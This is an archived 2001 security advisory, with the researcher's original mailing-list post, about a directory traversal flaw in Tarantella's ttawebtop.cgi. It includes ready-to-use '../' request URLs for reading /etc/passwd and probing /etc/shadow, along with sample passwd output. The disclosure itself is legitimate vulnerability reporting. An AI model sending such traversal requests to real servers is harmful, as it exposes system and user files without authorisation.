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Category:  Application (Web Server/CGI)  >  Tarantella Vendors:  Tarantella, Inc.
Tarantella Application Web Server Discloses Files on the Server to Remote Users
Date:  Jun 19 2001 02:29 (UTC/GMT)
Impact:  Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Description:  A vulnerability has been reported in the Tarantella application server that lets remote users obtain files located anywhere on the server.

The vunerability reportedly resides in the ttawebtop.cgi module.

If a remote user issues the following type of example URL, the server will return the world-readable password file:

http://[targethost]/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../.. /etc/passwd

If a remote user attempts to retrieve a file that is not readable by the web server, it will return a 'file missing' error message, as shown below:

http://[targethost]/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/shadow

File missing

The following file could not be found:

/tarantella/../../../../../../../../../../../../../../../etc/shadow

The vendor has reportedly been notified.

Impact:  A remote user can obtain world-readable files located anywhere from the server.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.tarantella.com/ (Links to External Site)
Cause:  Access control error, Input validation error
Underlying OS:  Linux (Caldera), Linux (Red Hat), Linux (SuSE), Linux (Turbo Linux), UNIX (AIX), UNIX (HP/UX), UNIX (SCO), UNIX (Solaris - SunOS), Unix (Tru64)
Reported By:  KF <dotslash@snosoft.com>
Message History:   This archive entry has one or more follow-up message(s) listed below.
Jun 19 2001 (Vendor Has Fixed This Issue) Re: Tarantella Application Web Server Discloses Files on the Server to Remote Users   (Mike McEwen <mikemc@tarantella.com>)
The vendor announces that they have fixed the problem. The vendor reports on which versions were vulnerable.



 Source Message Contents

Date:  Mon, 18 Jun 2001 13:18:08 -0400
From:  KF <dotslash@snosoft.com>
Subject:  SCO Tarantella Remote file read via ttawebtop.cgi

 

SCO has been notified of this issue. 


-------- Original Message --------
Subject: SCO Tarantella Remote file read via ttawebtop.cgi
Date: Mon, 18 Jun 2001 13:06:41 -0400
From: KF <dotslash@snosoft.com>
To: recon@snosoft.com


http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../
../../../etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/ ... No perms to shadow... http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../
../../../etc/shadow File missing The following file could not be found: /tarantella/../../../../../../../../../../../../../../../etc/shadow Please give this information to a Tarantella Administrator. -KF


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